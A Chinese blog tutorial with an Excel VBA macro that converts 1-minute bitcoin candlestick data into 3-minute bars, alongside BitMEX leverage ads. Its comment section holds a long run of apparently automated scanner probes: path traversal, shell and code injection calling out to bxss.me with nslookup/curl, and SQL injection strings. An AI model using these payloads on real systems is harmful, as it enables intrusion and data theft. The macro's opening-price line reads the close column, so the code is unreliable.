如何将1minK线数据转换为3min K线?

BitMEX 100倍杠杆永续合约,注册BitMex请使用日本IP:比特币量化交易交流群:191896494  BitMEX/OKEX量化机器人  

JEX 全球领先的期权交易所

当我们分析比特币K线走势时,我们能够直接读取到的K线一般是1min,5min,15min,30min,1hour这种,如果我们需要其他周期的K线,那么需要我们自己进行转化,有时候即使交易所提供5min数据,我们也会直接通过1min等基础K线计算出5min的K线,这样可以减少对交易所服务器的请求次数,提高代码的效率,下面以1min转5min为例介绍一下,如何进行K线数据的转换:

timestampclosehighlowopenvolume
2017/11/1 0:006440.164586437.564571503847
2017/11/1 0:016425.46440.96420.16440.11755497
2017/11/1 0:026419.76425.36416.96425.42112786
2017/11/1 0:0364016419.76392.56419.73059138
2017/11/1 0:0464106412.1640064011724514
2017/11/1 0:056425.96425.96404.364102084222
2017/11/1 0:066424.564306424.46425.9589919
2017/11/1 0:0764126424.464126424.5897844
2017/11/1 0:0864016415.164016412575118
2017/11/1 0:0964126412640164011007341
2017/11/1 0:106412.9641364056412911109
2017/11/1 0:116416.56416.76412.96412.9333443
2017/11/1 0:126410.46416.66410.36416.5258638
2017/11/1 0:13641664166410.36410.4504926


对以上1min数据转换成3min的VBA代码如下

Sub min1to3min()
min1totalrows = Sheets("1min").Range("A1048576").End(xlUp).Row '1minK线总行数
k = 1
For i = 4 To min1totalrows
 
    If Minute(Sheets("1min").Cells(i, 1)) / 3 = Int(Minute(Sheets("1min").Cells(i, 1)) / 3) Then
    Sheets("3min").Cells(k, 1) = Format(Sheets("1min").Cells(i, 1), "yyyy/mm/dd hh:mm:ss") '计算时间''分钟是3的倍数
    '计算收盘价
    Sheets("3min").Cells(k, 2) = Sheets("1min").Cells(i, 2) '当前1min收盘价
    '计算最高价
    Sheets("3min").Cells(k, 3) = Application.Max(Sheets("1min").Range("c" & i & ":c" & i - 2)) '最近3跟1min最高价的最高价
    '计算最低价
    Sheets("3min").Cells(k, 4) = Application.Min(Sheets("1min").Range("d" & i & ":d" & i - 2))  '最近3跟1min最低的最低价
     '计算开盘价
    Sheets("3min").Cells(k, 5) = Sheets("1min").Cells(i - 2, 2) '往前两根K线的开盘价
    '计算成交量
    Sheets("3min").Cells(k, 6) = Application.Sum(Sheets("1min").Range("f" & i & ":f" & i - 2)) '最近3跟1min成交量总和
    k = k + 1
    End If

Next

End Sub




  admin   2019-3-25

Dodopepe2023-9-28 8:32:59
/../../../../../../../../../../windows/system32/BITSADMIN.exe
Dodopepe2023-9-28 8:33:21
response.write(9673362*9746354)
Dodopepe2023-9-28 8:33:26
'+response.write(9673362*9746354)+'
Dodopepe2023-9-28 8:33:27
bcc:009247.5638-35766.5638.ff36f.19628.2@bxss.me
Dodopepe2023-9-28 8:33:33
"+response.write(9673362*9746354)+"
Dodopepe2023-9-28 8:33:43
to@example.com> bcc:009247.5638-35767.5638.ff36f.19628.2@bxss.me
Dodopepe2023-9-28 8:33:47
echo pyhite$()\ ygsnol\nz^xyu||a #' &echo pyhite$()\ ygsnol\nz^xyu||a #|" &echo pyhite$()\ ygsnol\nz^xyu||a #
Dodopepe2023-9-28 8:33:53
../../../../../../../../../../../../../../etc/passwd
Dodopepe2023-9-28 8:33:56
!(()&&!|*|*|
Dodopepe2023-9-28 8:34:03
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
Dodopepe2023-9-28 8:34:03
&echo tosyyl$()\ dztwfc\nz^xyu||a #' &echo tosyyl$()\ dztwfc\nz^xyu||a #|" &echo tosyyl$()\ dztwfc\nz^xyu||a #
Dodopepe2023-9-28 8:34:11
../../../../../../../../../../../../../../windows/win.ini
Dodopepe2023-9-28 8:34:11
^(#$!@#$)(()))******
Dodopepe2023-9-28 8:34:17
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
Dodopepe2023-9-28 8:34:17
|echo aewkxw$()\ ijucqa\nz^xyu||a #' |echo aewkxw$()\ ijucqa\nz^xyu||a #|" |echo aewkxw$()\ ijucqa\nz^xyu||a #
Dodopepe2023-9-28 8:34:26
file:///etc/passwd
Dodopepe2023-9-28 8:34:27
Http://bxss.me/t/fit.txt
Dodopepe2023-9-28 8:34:34
(nslookup -q=cname hitwlcmrldwpo63cbb.bxss.me||curl hitwlcmrldwpo63cbb.bxss.me))
Dodopepe2023-9-28 8:34:35
../
Dodopepe2023-9-28 8:34:41
'.gethostbyname(lc('hitgd'.'zqqrqpuka1f65.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(82).chr(120).chr(74).'
Dodopepe2023-9-28 8:34:45
$(nslookup -q=cname hitvwzmuqqzgl0184e.bxss.me||curl hitvwzmuqqzgl0184e.bxss.me)
Dodopepe2023-9-28 8:34:49
http://bxss.me/t/fit.txt?.jpg
Dodopepe2023-9-28 8:34:50
&nslookup -q=cname hitmllxhvkffb61ae6.bxss.me&'\"`0&nslookup -q=cname hitmllxhvkffb61ae6.bxss.me&`'
Dodopepe2023-9-28 8:34:54
".gethostbyname(lc("hitta"."qtkeemgy39122.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(67).chr(100).chr(85)."
Dodopepe2023-9-28 8:35:00
&(nslookup -q=cname hitqkojfiadeeff0e4.bxss.me||curl hitqkojfiadeeff0e4.bxss.me)&'\"`0&(nslookup -q=cname hitqkojfiadeeff0e4.bxss.me||curl hitqkojfiadeeff0e4.bxss.me)&`'
Dodopepe2023-9-28 8:35:06
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
Dodopepe2023-9-28 8:35:08
"+"A".concat(70-3).concat(22*4).concat(113).concat(83).concat(122).concat(89)+(require"socket" Socket.gethostbyname("hitmg"+"dijjbqho5ff1b.bxss.me.")[3].to_s)+"
Dodopepe2023-9-28 8:35:11
|(nslookup -q=cname hitoxkrwawdhne68ad.bxss.me||curl hitoxkrwawdhne68ad.bxss.me)
Dodopepe2023-9-28 8:35:12
';print(md5(31337));$a='
Dodopepe2023-9-28 8:35:17
/etc/shells
Dodopepe2023-9-28 8:35:23
`(nslookup -q=cname hitbjcdhlynmu7b212.bxss.me||curl hitbjcdhlynmu7b212.bxss.me)`
Dodopepe2023-9-28 8:35:24
c:/windows/win.ini
Dodopepe2023-9-28 8:35:29
'+'A'.concat(70-3).concat(22*4).concat(99).concat(81).concat(97).concat(88)+(require'socket' Socket.gethostbyname('hitca'+'uvcybfik1111e.bxss.me.')[3].to_s)+'
Dodopepe2023-9-28 8:35:29
";print(md5(31337));$a="
Dodopepe2023-9-28 8:35:33
211
Dodopepe2023-9-28 8:35:38
${@print(md5(31337))}
Dodopepe2023-9-28 8:35:46
211
Dodopepe2023-9-28 8:35:46
bxss.me
Dodopepe2023-9-28 8:35:55
211/.
Dodopepe2023-9-28 8:35:55
${@print(md5(31337))}\
Dodopepe2023-9-28 8:36:18
'.print(md5(31337)).'
Dodopepe2023-9-28 9:00:32
lJf0jqyR
Dodopepe2023-9-28 9:00:54
-1 OR 2+814-814-1=0+0+0+1
Dodopepe2023-9-28 9:01:05
-1 OR 3+814-814-1=0+0+0+1
Dodopepe2023-9-28 9:01:16
-1 OR 3*2<(0+5+814-814)
Dodopepe2023-9-28 9:01:25
-1 OR 3*2>(0+5+814-814)
Dodopepe2023-9-28 9:01:39
1'"
Dodopepe2023-9-28 9:01:50
1����%2527%2522
Dodopepe2023-9-28 9:02:03
@@1UcGh
Remark: